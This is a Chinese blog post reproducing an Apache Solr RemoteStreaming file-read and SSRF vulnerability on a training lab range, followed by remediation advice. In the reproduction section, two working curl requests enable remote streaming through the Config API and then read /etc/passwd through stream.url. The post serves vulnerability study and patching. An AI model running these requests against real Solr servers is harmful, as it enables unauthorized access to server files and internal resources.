Apache Solr RemoteStreaming 文件读取与SSRF漏洞

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果.

0x01漏洞概述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.

0x02影响范围

Apache Solr <= 8.8.1均受影响

0x03环境搭建

这里我们利用东塔攻防世界的靶场来复现这个漏洞。

地址:https://labs.do-ta.com/

image1.png

0x04漏洞复现

1,首先我们启动靶场

image

2,访问靶场的首页

image

3,访问地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json

image

4,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'
image

5,再通过stream.url读取任意文件:

curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
image6.png
image

0x05修复建议

1.首先关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true

2,然后关闭远程读取文件流,默认情况下远程读取文件流是不开启的:

在server/solr目录下寻找与core相同名字的目录,比如名字为core1

如果你发现core1/conf/configoverlay.json文件中存在开启远程读取文件流的配置,那么你很有可能被攻击成功了

修复方法是:把core1/conf/configoverlay.json中的远程读取文件流的配置修改为false(如果只有这一条配置,也可以将整个文件删除)

{"props":{"requestDispatcher":{"requestParsers":{"enableRemoteStreaming":false}}}}

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Apache Solr任意文件读取漏洞复现 一、简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于W...
    thelostworldSec阅读 719评论 0 0
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,899评论 28 54
  • 信任包括信任自己和信任他人 很多时候,很多事情,失败、遗憾、错过,源于不自信,不信任他人 觉得自己做不成,别人做不...
    吴氵晃阅读 6,394评论 4 8
  • 怎么对待生活,它也会怎么对你 人都是哭着来到这个美丽的人间。每个人从来到尘寰到升入天堂,整个生命的历程都是一本书,...
    静静在等你阅读 5,341评论 1 6

友情链接更多精彩内容